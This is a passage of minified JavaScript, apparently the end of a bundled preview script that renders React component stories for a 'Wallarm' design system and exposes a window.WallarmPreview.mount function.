t=l;l=()=>e(t,i)}return o.default.createElement("section",{"data-preview-story":e.name,className:"p-16"},o.default.createElement("h2",{className:"text-sm mb-12"},e.name),o.default.createElement(l))}window.WallarmPreview={mount(e){let t=window.ReactDOM.createRoot(e);return t.render(o.default.createElement(window.WallarmDS.Root,null,B.map((e,t)=>o.default.createElement(Y,{key:t,entry:e})))),t}}})();